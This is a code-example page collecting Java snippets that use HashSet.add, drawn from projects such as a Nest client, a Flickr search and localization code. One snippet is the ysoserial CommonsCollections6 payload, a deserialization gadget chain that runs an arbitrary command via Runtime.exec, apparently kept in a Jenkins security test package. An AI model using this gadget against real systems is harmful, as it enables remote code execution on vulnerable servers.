Example usage for java.util HashSet add

List of usage examples for java.util HashSet add

Introduction

In this page you can find the example usage for java.util HashSet add.

Prototype

public boolean add(E e) 

Source Link

Document

Adds the specified element to this set if it is not already present.

Usage

From source file:net.mceoin.cominghome.NestUtils.java

public static void getInfo(final Context context, String access_token) {
    if (debug)/*from w ww .jav  a 2  s.  c  o m*/
        Log.d(TAG, "getInfo()");
    if (context == null) {
        Log.e(TAG, "missing context");
        return;
    }

    // Tag used to cancel the request
    String tag_update_status = "nest_info_req";

    String url = "https://developer-api.nest.com/structures?auth=" + access_token;

    JsonObjectRequest updateStatusReq = new JsonObjectRequest(Request.Method.GET, url, null,
            new Response.Listener<JSONObject>() {

                @Override
                public void onResponse(JSONObject response) {
                    if (debug)
                        Log.d(TAG, "response=" + response.toString());

                    // {
                    // "structure_id":"njBTS-gAhF1mJ8_oF23ne7JNDyx1m1hULWixOD6IQWEe-SFA",
                    // "thermostats":["n232323jy8Xr1HVc2OGqICVP45i-Mc"],
                    // "smoke_co_alarms":["pt00ag34grggZchI7ICVPddi-Mc"],
                    // "country_code":"US",
                    // "away":"home"
                    // "name":"Home"
                    // }

                    String structure_id = "";
                    String structure_name = "";
                    String away_status = "";

                    SharedPreferences prefs = PreferenceManager
                            .getDefaultSharedPreferences(AppController.getInstance().getApplicationContext());
                    boolean structure_id_selected = prefs.contains(MainActivity.PREFS_STRUCTURE_ID);
                    String structure_id_current = prefs.getString(MainActivity.PREFS_STRUCTURE_ID, "");
                    boolean current_in_structures = false;
                    String last_structure_name = "";
                    String last_away_status = "";
                    HashSet<String> structure_ids = new HashSet<>();

                    // use this for faking additional structures
                    if (debug) {
                        StructuresUpdate.update(context, "demo_id", "Demo Structure", "home");
                        structure_ids.add("demo_id");
                    }

                    JSONObject structures;
                    try {
                        structures = new JSONObject(response.toString());
                        Iterator<String> keys = structures.keys();
                        while (keys.hasNext()) {
                            String structure = keys.next();
                            JSONObject value = structures.getJSONObject(structure);
                            if (debug)
                                Log.d(TAG, "value=" + value);
                            structure_id = value.getString("structure_id");
                            structure_name = value.getString("name");
                            away_status = value.getString("away");

                            StructuresUpdate.update(context, structure_id, structure_name, away_status);
                            structure_ids.add(structure_id);

                            if (structure_id_selected) {
                                if (structure_id.equals(structure_id_current)) {
                                    current_in_structures = true;
                                    //
                                    // found the structure_id that we're associated with
                                    // go ahead and update the name and away status
                                    //
                                    SharedPreferences.Editor pref = prefs.edit();
                                    pref.putString(MainActivity.PREFS_STRUCTURE_NAME, structure_name);
                                    pref.putString(MainActivity.PREFS_LAST_AWAY_STATUS, away_status);
                                    pref.apply();

                                    last_structure_name = structure_name;
                                    last_away_status = away_status;
                                }
                            }
                        }
                    } catch (JSONException e) {
                        Log.e(TAG, "error parsing JSON");
                        return;
                    }

                    if (structure_id_selected) {
                        if (!current_in_structures) {
                            // there is a structure_id selected, but it is no longer in the structures
                            // listed from Nest, so clear it out
                            SharedPreferences.Editor pref = prefs.edit();
                            pref.remove(MainActivity.PREFS_STRUCTURE_ID);
                            pref.remove(MainActivity.PREFS_STRUCTURE_NAME);
                            pref.remove(MainActivity.PREFS_LAST_AWAY_STATUS);
                            pref.apply();
                        }
                    } else {
                        //
                        // No structure_id currently selected, so go ahead and pick the
                        // last structure_id.  This should work for most homes that will
                        // only have one structure_id anyway.
                        //
                        SharedPreferences.Editor pref = prefs.edit();
                        pref.putString(MainActivity.PREFS_STRUCTURE_ID, structure_id);
                        pref.putString(MainActivity.PREFS_STRUCTURE_NAME, structure_name);
                        pref.putString(MainActivity.PREFS_LAST_AWAY_STATUS, away_status);
                        pref.apply();

                        last_structure_name = structure_name;
                        last_away_status = away_status;
                    }

                    HashSet<String> stored_structure_ids = StructuresUpdate.getStructureIds(context);
                    for (String id : stored_structure_ids) {
                        if (!structure_ids.contains(id)) {
                            //
                            // if we have a stored id that wasn't in the array Nest just sent us,
                            // then delete it from our database
                            //
                            StructuresUpdate.deleteStructureId(context, id);
                        }
                    }
                    Intent intent = new Intent(GOT_INFO);
                    intent.putExtra("structure_name", last_structure_name);
                    intent.putExtra("away_status", last_away_status);
                    LocalBroadcastManager.getInstance(AppController.getInstance().getApplicationContext())
                            .sendBroadcast(intent);

                }
            }, new Response.ErrorListener() {

                @Override
                public void onErrorResponse(VolleyError error) {
                    if (error.networkResponse != null) {
                        if (debug)
                            Log.d(TAG, "getInfo volley statusCode=" + error.networkResponse.statusCode);

                        Context context = AppController.getInstance().getApplicationContext();

                        if (error.networkResponse.statusCode == HttpStatus.SC_UNAUTHORIZED) {
                            // We must have been de-authorized at the Nest web site
                            SharedPreferences prefs = PreferenceManager.getDefaultSharedPreferences(context);
                            SharedPreferences.Editor pref = prefs.edit();
                            pref.putString(OAuthFlowApp.PREF_ACCESS_TOKEN, "");
                            pref.putString(MainActivity.PREFS_STRUCTURE_ID, "");
                            pref.putString(MainActivity.PREFS_STRUCTURE_NAME, "");
                            pref.putString(MainActivity.PREFS_LAST_AWAY_STATUS, "");
                            pref.apply();

                            HistoryUpdate.add(context, "Lost our Nest authorization");

                            Intent intent = new Intent(LOST_AUTH);
                            LocalBroadcastManager
                                    .getInstance(AppController.getInstance().getApplicationContext())
                                    .sendBroadcast(intent);

                        } else {
                            HistoryUpdate.add(context, error.getLocalizedMessage());
                            VolleyLog.d(TAG, "getInfo Error: " + error.getMessage());
                        }
                    }
                }
            });
    AppController.getInstance().addToRequestQueue(updateStatusReq, tag_update_status);
}

From source file:jenkins.security.security218.ysoserial.payloads.CommonsCollections6.java

public Serializable getObject(final String command) throws Exception {

    final String[] execArgs = new String[] { command };

    final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
                    new Object[] { "getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
                    new Object[] { null, new Object[0] }),
            new InvokerTransformer("exec", new Class[] { String.class }, execArgs),
            new ConstantTransformer(1) };

    Transformer transformerChain = new ChainedTransformer(transformers);

    final Map innerMap = new HashMap();

    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

    TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

    HashSet map = new HashSet(1);
    map.add("foo");
    Field f = null;//from   w w w.j  a  v a  2 s .  c  om
    try {
        f = HashSet.class.getDeclaredField("map");
    } catch (NoSuchFieldException e) {
        f = HashSet.class.getDeclaredField("backingMap");
    }

    f.setAccessible(true);
    HashMap innimpl = (HashMap) f.get(map);

    Field f2 = null;
    try {
        f2 = HashMap.class.getDeclaredField("table");
    } catch (NoSuchFieldException e) {
        f2 = HashMap.class.getDeclaredField("elementData");
    }

    f2.setAccessible(true);
    Object[] array = (Object[]) f2.get(innimpl);

    Object node = array[0];
    if (node == null) {
        node = array[1];
    }

    Field keyField = null;
    try {
        keyField = node.getClass().getDeclaredField("key");
    } catch (Exception e) {
        keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
    }

    keyField.setAccessible(true);
    keyField.set(node, entry);

    return map;

}

From source file:com.vmware.bdd.service.resmgmt.sync.filter.VcResourceNameRegxFilter.java

public VcResourceNameRegxFilter(String[] nameRegs) {
    AuAssert.check(ArrayUtils.isNotEmpty(nameRegs), "can't build an empty name regx filter.");

    HashSet<String> nameRegSet = new HashSet<>();
    for (String name : nameRegs) {
        nameRegSet.add(name);
    }/*from  ww w.  j a va2s  .  c om*/

    for (String nameReg : nameRegSet) {
        Pattern pattern = Pattern.compile(nameReg);
        regxList.add(pattern);
    }

}

From source file:com.trailmagic.user.UserGroupAuthorityGranter.java

/**
 * The grant method is called for each principal returned from the
 * LoginContext subject. If the AuthorityGranter wishes to grant any
 * authorities, it should return a java.util.Set containing the role names
 * it wishes to grant, such as ROLE_USER. If the AuthrityGranter does not
 * wish to grant any authorities it should return null. <br>
 * The set may contain any object as all objects in the returned set will be
 * passed to the JaasGrantedAuthority constructor using toString().
 *
 * @param principal One of the principals from the
 *        LoginContext.getSubect().getPrincipals() method.
 *
 * @return A java.util.Set of role names to grant, or null meaning no
 *         roles should be granted for the principal.
 *///w ww .  ja  v a2 s .c o m
@SuppressWarnings("unchecked")
public Set grant(Principal principal) {
    s_log.debug("Processing principal: " + principal);
    // unimplemented
    HashSet principals = new HashSet();
    if (principal instanceof UserPrincipal) {
        principals.add(principal);
        principals.add("ROLE_USER");
        s_log.debug("added " + principal + " and ROLE_USER");
    } else if (principal instanceof GroupPrincipal) {
        String roleName = "ROLE_" + principal.getName().toUpperCase();
        principals.add(roleName);
        s_log.debug("added " + roleName);
    }
    return principals;
}

From source file:de.cuseb.bilderbuch.images.FlickrImageSearch.java

@Override
public List<Image> searchImages(String query) throws ImageSearchException {

    Flickr flickr = new Flickr(key, secret, new REST());

    PhotosInterface photosInterface = flickr.getPhotosInterface();

    HashSet<String> extras = new HashSet<String>();
    extras.add(Extras.URL_L);
    SearchParameters searchParameters = new SearchParameters();
    searchParameters.setText(query);//from   w w w .  java  2  s  . c o m
    searchParameters.setExtras(extras);
    searchParameters.setTagMode("all");

    List<Image> images = new ArrayList<Image>();
    try {
        PhotoList photoList = photosInterface.search(searchParameters, 5, 0);
        for (Photo photo : (List<Photo>) photoList) {
            Image image = new Image();
            image.setSource("flickr");
            image.setTitle(photo.getTitle());
            image.setUrl(photo.getLargeUrl());
            images.add(image);
        }
    } catch (FlickrException e) {
        throw new ImageSearchException(e.getMessage(), e.getCause());
    }

    return images;
}

From source file:eionet.web.action.VoIDActionBean.java

/**
 * Handles the request for viewing VoID.
 *
 * @return//from w  ww  .j av  a2 s  .  c om
 */
@DefaultHandler
public Resolution getVoID() {
    contextRoot = StringUtils.substringBeforeLast(getContext().getRequest().getRequestURL().toString(), "/");

    StreamingResolution result = new StreamingResolution("application/xml") {
        public void stream(HttpServletResponse response) throws Exception {
            List<DataElement> dataElements = dataService.getDataElementsWithFixedValues();

            HashSet<String> datasetStatuses = new HashSet<String>();
            datasetStatuses.add("Released");
            datasetStatuses.add("Recorded");
            DDSearchEngine searchEngine = new DDSearchEngine(ConnectionUtil.getConnection());
            Vector tables = searchEngine.getDatasetTables(null, null, null, null, null, null, datasetStatuses,
                    false);

            VoIDXmlWriter xmlWriter = new VoIDXmlWriter(response.getOutputStream(), contextRoot);
            xmlWriter.writeVoIDXml(dataElements, tables);
        }
    };
    return result;
}

From source file:eionet.cr.web.util.JstlFunctions.java

/**
 *
 * @param objectValue// www. j  a v a 2s  . c  om
 * @param pageContext
 * @return
 */
public static boolean isObjectValueDisplayed(String predicate, String objectValue, PageContext pageContext) {

    boolean result = false;
    if (predicate != null) {

        String previousPredicate = (String) pageContext.getAttribute("prevPredicate");
        HashSet<String> objectValues = (HashSet<String>) pageContext.getAttribute("displayedObjectValues");
        if (objectValues == null || previousPredicate == null || !predicate.equals(previousPredicate)) {
            objectValues = new HashSet<String>();
            pageContext.setAttribute("displayedObjectValues", objectValues);
        }

        result = objectValues.contains(objectValue);
        pageContext.setAttribute("prevPredicate", predicate);
        objectValues.add(objectValue);
    }

    return result;
}

From source file:com.enonic.cms.core.localization.LocalizationResourceBundle.java

public Enumeration<String> getKeys() {
    HashSet<String> set = new HashSet<String>();
    for (Object o : this.props.keySet()) {
        set.add((String) o);
    }/*from w w  w .  jav  a 2  s .com*/

    return Collections.enumeration(set);
}

From source file:ObjectToSet.java

/**
 * Add a member to the value of the set mapped to by
 * the specified key./* w ww .j  a  v  a  2 s.  com*/
 *
 * @param key Key whose set value will have the object.
 * @param member Object to add to the value of the key.
 */
public void addMember(K key, M member) {
    if (containsKey(key)) {
        get(key).add(member);
    } else {
        HashSet<M> val = new HashSet<M>();
        val.add(member);
        put(key, val);
    }
}

From source file:com.iflytek.edu.cloud.frame.spring.rest.ServiceMethodInfoHandlerMapping.java

/**
 * Get the URL path patterns associated with this {@link RequestMappingInfo}.
 *//*from w ww  . j  a  v a 2s.  c  o m*/
@Override
protected Set<String> getMappingPathPatterns(ServiceMethodInfo info) {
    HashSet<String> set = new HashSet<String>();
    set.add(info.getServiceMethodCondition().getMethod());
    return set;
}